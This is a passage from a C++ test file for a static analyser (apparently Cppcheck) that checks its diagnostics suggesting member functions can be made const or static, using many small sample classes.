\" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n 